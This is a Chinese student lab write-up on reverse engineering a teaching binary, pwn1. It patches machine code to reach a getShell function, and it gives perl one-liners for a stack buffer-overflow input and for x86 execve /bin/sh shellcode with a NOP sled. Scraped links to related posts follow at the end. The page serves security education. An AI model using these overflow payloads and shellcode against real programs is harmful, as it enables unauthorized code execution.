20165219 Exp1 PC平台逆向破解
20165219 Exp1 PC平台逆向破解
实践目标
本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
三个实践内容如下:
手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
注入一个自己制作的shellcode并运行这段shellcode。
基础知识
一 直接修改程序机器指令,改变程序执行流程
思路:pwn1_1中main()调用foo(),此实验旨在修改程序机器指令,使得main()调用getshell()
反汇编: objdump -d


main()中call指令指向foo()的内存地址0x08048491
,对应的机器指令为ffffffd7。现在想把call指令指向getshell()的内存地址0x0804847d,就要修改相应的机器指令。经过计算相应的机器指令为ffffffc3。
输入:
%!xxd
,将显示模式切换为16进制模式
/d7
查找要修改的内容 ,按i进入插入模式,修改d7之后,exc退出插入模式
:%!xxd -r
转换16进制为原格式
:wq
保存并退出
运行修改后的代码,发现权限不够,上网搜了一下,如下图解决办法

二 通过构造输入参数,造成BOF攻击,改变程序执行流
首先反汇编了解程序功能
# gdb
输入为字符时已经发生段错误,产生溢出:

使用gdb进行调试:

注意到eip的值为ASCII的5,即在输入字符串的“5”的部分发生溢出。将5改成其它

输入字符串1111111122222222333333334444444455555555,5555会覆盖到堆栈上的返回地址,CPU会这个代码。只要把这四个字符替换为 getShell 的内存地址,输给pwn20165219_2,pwn1运行getShell。
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
命令构造文件。然后使用指令
(cat input ) | ./pwn20165219_2
运行程序

三 注入Shellcode并执行
使用
apt-get install execstack
命令安装execstack

修改以下设置

我们选择retaddr+nops+shellcode结构来攻击buf,在shellcode前填充nop的机器码90,最前面加上加上返回地址(先定义为\x4\x3\x2\x1)
perl -e 'print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00"' > input_shellcode
注入这段攻击buf,在另一个终端查看pwn1这个进程

gdb调试

通过设置断点,来查看注入buf的内存地址

使用break设置断点,并输入c继续运行。在pwn1进程正在运行的终端敲回车,使其继续执行。再返回调试终端,使用
info r esp
查找地址。

使用x/16x 查看其存放内容,看到了01020304,就是返回地址的位置。
将之前的\x4\x3\x2\x1改为这个地址
最后执行攻击程序

20165219 Exp1 PC平台逆向破解的更多相关文章
- 20155324《网络对抗》Exp1 PC平台逆向破解(5)M
20155324<网络对抗>Exp1 PC平台逆向破解(5)M 实验目标 本次实践的对象是一个名为~pwn1~的~linux~可执行文件. 该程序正常执行流程是:~main~调用~foo~ ...
- 2018-2019-2 20165237《网络攻防技术》Exp1 PC平台逆向破解
2018-2019-2 20165237<网络攻防技术>Exp1 PC平台逆向破解 一.实践目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调 ...
- 20165221 《网络对抗技术》EXP1 PC平台逆向破解
20165221 <网络对抗技术>EXP1 PC平台逆向破解 一.实验内容 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函 ...
- 2018-2019-2 网络对抗技术 20165325 Exp1 PC平台逆向破解
2018-2019-2 网络对抗技术 20165325 Exp1 PC平台逆向破解(BOF实验) 实验有三个模块: (一)直接修改程序机器指令,改变程序执行流程: (二)通过构造输入参数,造成BOF攻 ...
- 2018-2019-2 20165206《网络对抗技术》Exp1 PC平台逆向破解
- 2018-2019-2 20165206<网络对抗技术>Exp1 PC平台逆向破解 - 实验任务 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:mai ...
- Exp1 PC平台逆向破解 20165235 祁瑛
Exp1 PC平台逆向破解 20165235 祁瑛 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件.该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字 ...
- 2018-2019-2 20165317《网络对抗技术》Exp1 PC平台逆向破解
2018-2019-2 20165317<网络对抗技术>Exp1 PC平台逆向破解 实验目的 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码 NOP:无作用,英文&quo ...
- 2018-2019-2 网络对抗技术 20165336 Exp1 PC平台逆向破解
2018-2019-2 网络对抗技术 20165336 Exp1 PC平台逆向破解 1. 逆向及Bof基础实践说明 1.1 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件.该程序正常 ...
- 2018-2019-2 20165236郭金涛《网络对抗》Exp1 PC平台逆向破解
2018-2019-2 20165236郭金涛<网络对抗>Exp1 PC平台逆向破解 一.实验内容 1.掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码(0.5分) 2.掌 ...
随机推荐
- random.nextint()
自从JDK最初版本发布起,我们就可以使用java.util.Random类产生随机数了.在JDK1.2中,Random类有了一个名为nextInt()的方法: public int nextInt(i ...
- 106. Construct Binary Tree from Inorder and Postorder Traversal (Tree; DFS)
Given inorder and postorder traversal of a tree, construct the binary tree. Note: You may assume tha ...
- UNITY录制视屏解决方案 - ShareREC For Unity3D
注意buildSetting里面,AutoGraphic改成opengl es2,否则魅蓝手机上容易出现1/4屏 一.导入项目 1.到Mob官网下载ShareREC For Unity3D 的SDK包 ...
- thinkphp 3.2.3 addAll方法的坑
在批量插入一组数据的时候,总是提示以下错误 Insert value list does not match column list: Column count doesn't match value ...
- [leetcode]206. Reverse Linked List反转链表
Reverse a singly linked list. Input: 1->2->3->4->5->NULL Output: 5->4->3->2- ...
- CentOS7.2部署采集系统
rm -rf /etc/yum.repos.d/*scp root@192.168.48.81:/etc/yum.repos.d/* /etc/yum.repos.d/vim /etc/hosts(添 ...
- Laravel 5.4 实现无限级分类
最近在工作中遇到一个需求,是要在laravel 5.4中实现无限级分类,但发现网上这个的资料较少,所以只能自己来实现了,下面这篇文章主要给大家介绍了关于在laravel 5.4中实现无限级分类的方法示 ...
- Windows环境和Linux环境下Redis主从复制配置
Windows环境下和Linux环境下配置Redis主从复制基本上一样,都是更改配置文件.Windows环境下修改的配置文件是:redis.windows.conf.redis.windows-ser ...
- 超赞!UX写手必备技能
以下内容由Mockplus团队翻译整理,仅供学习交流,Mockplus是更快更简单的原型设计工具. 今天,小编非常荣幸能与大家一起分享一些优秀UX 写手必备的成功技能: 1.开篇抓住用户的心 MBE曾 ...
- 移动直播app怎么做
今年移动直播行业的兴起,诞生了一大批网红,甚至明星也开始直播了,因此不得不跟上时代的步伐,教你从零开始搭建一个完整的iOS直播app,希望能帮助到更多的人更快的了解直播. 了解直播 1 热门直播产品: ...